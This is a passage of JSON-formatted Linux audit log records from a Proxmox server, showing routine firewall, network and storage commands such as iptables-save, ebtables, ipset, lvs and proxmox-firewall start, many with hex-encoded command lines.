proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965845687,"@rawstring":"node=pve type=PATH msg=audit(1781965845.687:67348): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.970:67946): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965845681,"@rawstring":"node=pve type=PATH msg=audit(1781965845.681:67347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.969:67945): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965845681,"@rawstring":"node=pve type=PATH msg=audit(1781965845.681:67347): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.969:67944): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965845677,"@rawstring":"node=pve type=PATH msg=audit(1781965845.677:67346): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.964:67943): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965845677,"@rawstring":"node=pve type=PATH msg=audit(1781965845.677:67346): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.958:67942): proctitle=\"ip6tables-save\""} {"@timestamp":1781965845676,"@rawstring":"node=pve type=PATH msg=audit(1781965845.676:67345): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.950:67941): proctitle=\"iptables-save\""} {"@timestamp":1781965845676,"@rawstring":"node=pve type=PATH msg=audit(1781965845.676:67345): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.944:67940): proctitle=69707365740073617665"} {"@timestamp":1781965845676,"@rawstring":"node=pve type=PATH msg=audit(1781965845.676:67344): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.936:67939): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965845671,"@rawstring":"node=pve type=PATH msg=audit(1781965845.671:67343): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965985924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965985.924:67938): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965845671,"@rawstring":"node=pve type=PATH msg=audit(1781965845.671:67343): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.996:67937): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845671,"@rawstring":"node=pve type=PATH msg=audit(1781965845.671:67343): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.996:67936): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845663,"@rawstring":"node=pve type=PATH msg=audit(1781965845.663:67342): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.996:67935): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845663,"@rawstring":"node=pve type=PATH msg=audit(1781965845.663:67342): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.984:67934): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845655,"@rawstring":"node=pve type=PATH msg=audit(1781965845.655:67341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.984:67933): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845655,"@rawstring":"node=pve type=PATH msg=audit(1781965845.655:67341): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.983:67932): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845649,"@rawstring":"node=pve type=PATH msg=audit(1781965845.649:67340): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.095:67931): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965845649,"@rawstring":"node=pve type=PATH msg=audit(1781965845.649:67340): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965984073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965984.073:67930): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965845639,"@rawstring":"node=pve type=PATH msg=audit(1781965845.639:67339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965979.977:67929): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845639,"@rawstring":"node=pve type=PATH msg=audit(1781965845.639:67339): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965979.977:67928): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845629,"@rawstring":"node=pve type=PATH msg=audit(1781965845.629:67338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965979.977:67927): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845629,"@rawstring":"node=pve type=PATH msg=audit(1781965845.629:67338): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965979.971:67926): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845050,"@rawstring":"node=pve type=PATH msg=audit(1781965845.050:67337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965979.971:67925): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845050,"@rawstring":"node=pve type=PATH msg=audit(1781965845.050:67337): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965979.971:67924): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965845020,"@rawstring":"node=pve type=PATH msg=audit(1781965845.020:67336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.910:67923): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965845020,"@rawstring":"node=pve type=PATH msg=audit(1781965845.020:67336): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.906:67922): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PATH msg=audit(1781965844.507:67335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.906:67921): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PATH msg=audit(1781965844.507:67335): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.905:67920): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PATH msg=audit(1781965844.507:67334): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.900:67919): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PATH msg=audit(1781965844.507:67333): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.891:67918): proctitle=\"ip6tables-save\""} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PATH msg=audit(1781965844.500:67332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.884:67917): proctitle=\"iptables-save\""} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PATH msg=audit(1781965844.500:67332): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.877:67916): proctitle=\"ip6tables-save\""} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PATH msg=audit(1781965844.500:67331): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.867:67915): proctitle=\"iptables-save\""} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PATH msg=audit(1781965844.500:67330): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.866:67914): proctitle=\"ebtables-restore\""} {"@timestamp":1781965840882,"@rawstring":"node=pve type=PATH msg=audit(1781965840.882:67329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.861:67913): proctitle=\"ebtables-restore\""} {"@timestamp":1781965840882,"@rawstring":"node=pve type=PATH msg=audit(1781965840.882:67329): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.856:67912): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965840882,"@rawstring":"node=pve type=PATH msg=audit(1781965840.882:67328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.850:67911): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965840882,"@rawstring":"node=pve type=PATH msg=audit(1781965840.882:67328): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.843:67910): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965840881,"@rawstring":"node=pve type=PATH msg=audit(1781965840.881:67327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.838:67909): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965840881,"@rawstring":"node=pve type=PATH msg=audit(1781965840.881:67327): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.830:67908): proctitle=697073657400726573746F7265"} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PATH msg=audit(1781965839.489:67326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.820:67907): proctitle=\"ip6tables-save\""} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PATH msg=audit(1781965839.489:67326): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.814:67906): proctitle=\"iptables-save\""} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PATH msg=audit(1781965839.489:67325): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.807:67905): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PATH msg=audit(1781965839.489:67324): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.806:67904): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PATH msg=audit(1781965839.481:67323): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.804:67903): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PATH msg=audit(1781965839.481:67323): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.804:67902): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PATH msg=audit(1781965839.481:67322): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.800:67901): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PATH msg=audit(1781965839.481:67321): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.789:67900): proctitle=\"ip6tables-save\""} {"@timestamp":1781965835613,"@rawstring":"node=pve type=PATH msg=audit(1781965835.613:67320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.781:67899): proctitle=\"iptables-save\""} {"@timestamp":1781965835613,"@rawstring":"node=pve type=PATH msg=audit(1781965835.613:67320): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.773:67898): proctitle=69707365740073617665"} {"@timestamp":1781965835606,"@rawstring":"node=pve type=PATH msg=audit(1781965835.606:67319): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.765:67897): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965835606,"@rawstring":"node=pve type=PATH msg=audit(1781965835.606:67319): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.755:67896): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965835603,"@rawstring":"node=pve type=PATH msg=audit(1781965835.603:67318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965975591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965975.591:67895): proctitle=2F7573722F62696E2F7065726C002F7573722F62696E2F707665736800676574002F6E6F6465732F7076652F71656D752F3837372F7374617475732F63757272656E74"} {"@timestamp":1781965835603,"@rawstring":"node=pve type=PATH msg=audit(1781965835.603:67318): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.963:67894): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965835603,"@rawstring":"node=pve type=PATH msg=audit(1781965835.603:67317): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.963:67893): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835598,"@rawstring":"node=pve type=PATH msg=audit(1781965835.598:67316): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.963:67892): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835598,"@rawstring":"node=pve type=PATH msg=audit(1781965835.598:67316): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.963:67891): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835598,"@rawstring":"node=pve type=PATH msg=audit(1781965835.598:67316): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.958:67890): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835591,"@rawstring":"node=pve type=PATH msg=audit(1781965835.591:67315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.958:67889): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835591,"@rawstring":"node=pve type=PATH msg=audit(1781965835.591:67315): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.958:67888): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835579,"@rawstring":"node=pve type=PATH msg=audit(1781965835.579:67314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 